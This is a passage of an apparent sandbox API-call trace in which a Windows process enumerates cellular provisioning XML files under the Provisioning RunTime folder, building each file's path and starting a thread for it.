Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.758] wcscat (in: _Dest=0x4f02fc0, _Source="568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml" [0181.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02fc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0181.758] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9147664e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9147664e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9147664e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="569__C~1.PRO")) returned 1 [0181.758] wcscmp (_String1="569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.758] wcscmp (_String1="569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.758] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x4f03118 [0181.758] wcscpy (in: _Dest=0x4f03118, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.759] wcscat (in: _Dest=0x4f03118, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.759] wcscat (in: _Dest=0x4f03118, _Source="569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml" [0181.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f03118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0181.759] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902ba650, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902ba650, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902ba650, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml", cAlternateFileName="56__CO~1.PRO")) returned 1 [0181.759] wcscmp (_String1="56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.759] wcscmp (_String1="56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.759] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2f8fb50 [0181.762] wcscpy (in: _Dest=0x2f8fb50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.762] wcscat (in: _Dest=0x2f8fb50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.762] wcscat (in: _Dest=0x2f8fb50, _Source="56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml" [0181.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8fb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0181.763] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9149c8b9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9149c8b9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9149c8b9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml", cAlternateFileName="570__C~1.PRO")) returned 1 [0181.763] wcscmp (_String1="570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.763] wcscmp (_String1="570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.763] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2f91380 [0181.763] wcscpy (in: _Dest=0x2f91380, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.763] wcscat (in: _Dest=0x2f91380, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.763] wcscat (in: _Dest=0x2f91380, _Source="570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml" [0181.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0181.763] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9149c8b9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9149c8b9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9149c8b9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml", cAlternateFileName="571__C~1.PRO")) returned 1 [0181.763] wcscmp (_String1="571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.763] wcscmp (_String1="571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.763] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2f91630 [0181.764] wcscpy (in: _Dest=0x2f91630, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.764] wcscat (in: _Dest=0x2f91630, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.764] wcscat (in: _Dest=0x2f91630, _Source="571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml" [0181.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0181.764] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9149c8b9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9149c8b9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9149c8b9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="572__C~1.PRO")) returned 1 [0181.764] wcscmp (_String1="572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.764] wcscmp (_String1="572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.764] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f99ef8 [0181.765] wcscpy (in: _Dest=0x2f99ef8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.765] wcscat (in: _Dest=0x2f99ef8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.765] wcscat (in: _Dest=0x2f99ef8, _Source="572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0181.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99ef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0181.954] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9149c8b9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9149c8b9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9149c8b9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="573__C~1.PRO")) returned 1 [0181.954] wcscmp (_String1="573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0181.954] wcscmp (_String1="573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0181.954] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x30546f8 [0181.954] wcscpy (in: _Dest=0x30546f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.954] wcscat (in: _Dest=0x30546f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.954] wcscat (in: _Dest=0x30546f8, _Source="573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0182.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30546f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0182.007] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914c2b28, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914c2b28, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914c2b28, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="574__C~1.PRO")) returned 1 [0182.007] wcscmp (_String1="574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.007] wcscmp (_String1="574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9a040 [0182.007] wcscpy (in: _Dest=0x2f9a040, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.007] wcscat (in: _Dest=0x2f9a040, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.007] wcscat (in: _Dest=0x2f9a040, _Source="574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9a040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0182.008] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914c2b28, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914c2b28, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914c2b28, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="575__C~1.PRO")) returned 1 [0182.008] wcscmp (_String1="575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0182.008] wcscmp (_String1="575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0182.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x30550b8 [0182.008] wcscpy (in: _Dest=0x30550b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.008] wcscat (in: _Dest=0x30550b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.008] wcscat (in: _Dest=0x30550b8, _Source="575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0182.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30550b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0182.009] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914c2b28, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914c2b28, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914c2b28, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="576__C~1.PRO")) returned 1 [0182.012] wcscmp (_String1="576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.012] wcscmp (_String1="576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9a938 [0182.012] wcscpy (in: _Dest=0x2f9a938, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.012] wcscat (in: _Dest=0x2f9a938, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.012] wcscat (in: _Dest=0x2f9a938, _Source="576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9a938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0182.013] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914c2b28, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914c2b28, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914c2b28, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="577__C~1.PRO")) returned 1 [0182.013] wcscmp (_String1="577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.013] wcscmp (_String1="577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9a6a8 [0182.013] wcscpy (in: _Dest=0x2f9a6a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.013] wcscat (in: _Dest=0x2f9a6a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.013] wcscat (in: _Dest=0x2f9a6a8, _Source="577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9a6a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0182.013] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914c2b28, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914c2b28, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914c2b28, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="578__C~1.PRO")) returned 1 [0182.013] wcscmp (_String1="578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.013] wcscmp (_String1="578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9ae58 [0182.014] wcscpy (in: _Dest=0x2f9ae58, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All 